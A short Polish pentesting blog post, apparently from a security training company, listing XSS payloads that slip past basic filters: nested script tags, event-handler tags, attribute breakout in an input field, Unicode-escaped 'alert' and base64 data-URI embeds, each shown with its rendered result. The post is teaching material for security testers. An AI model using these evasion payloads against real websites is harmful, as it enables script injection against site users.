Przy wielu projektach pentesterskich trafiamy na różnego rodzaju sposoby ochrony przed atakami Cross-Site Scripting. Nie zapominajmy jednak, że ataki można przeprowadzać na wiele różnych sposobów – począwszy od łączenia parametrów wyświetlanych na podatnej stronie, kończąc na stosowaniu specjalnych operatorów dostępnych w samym środowisku JS.
Poniżej zaprezentowane są przykłady automatycznie wykonywach payloadów XSS wraz z ominięciem podstawowych sposobów ich zabezpieczeń.
Przykład 1 – zmiana słowa tagu „script” na pusty ciąg
http://vulnerable-page.com/?show=<script>alert(1)</script>
Efekt:
<>alert(1)</>
http://vulnerable-page.com/?show=<scrscriptipt>alert(1)</scrscriptipt>
Efekt:
</script>alert(1)</script>
Przykład 2 – wykrywanie słów kluczowych script
http://vulnerable-page.com/?show=<script>alert(1)</script>
Efekt:
403 Forbidden
http://vulnerable-page.com/?show=<img src=not_exist onerror=alert(1) />
Efekt:
<img src=not_exist onerror=alert(1) />
Dla w/w przykładu możemy spróbować użyć dodatkowych tagów z parametrami:
<input type=text autofocus onfocus=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe onload=alert(1)>
<frame onload=alert(1)>
<input type=text onblur=alert(1) autofocus><input type=text autofocus>
<body onscroll=alert(1)><div style=display:block;height:9000px;>a</div><input autofocus>
<video><source onerror=”alert(1)”>
<video onerror=”alert(1)”><source></source></video>
<iframe srcdoc=”<img src=x:x onerror=alert(1)>” />
<frameset onload=alert(1)>
<object data=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></object>
<embed src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”></embed>
Przykład 3 – wstrzykiwanie do parametru tagu np. „input”
http://vulnerable-page.com/?show=<script>alert(1)</script>
Efekt:
<input type=text value=”<script>alert(1)</script>”>
http://vulnerable-page.com/?show=” autofocus onfocus=”alert(1)
Efekt:
<input type=text value=”” autofocus onfocus=”alert(1)”>
Przykład 4 – wstrzykiwanie do parametru tagu np. „input” z wykrywaniem instrukcji JS
http://vulnerable-page.com/?show=” autofocus onfocus=”alert(1)
Efekt:
403 Forbidden
http://vulnerable-page.com/?show=” autofocus onfocus=”\u0061lert(1)
Efekt:
<input type=text value=”” autofocus onfocus=”\u0061lert(1)”>
(JavaScript bez problemu radzi sobie z encjami Unicode)
Po więcej informacji, o tym jak testować bezpieczeństwo web aplikacji zapraszamy na szkolenie.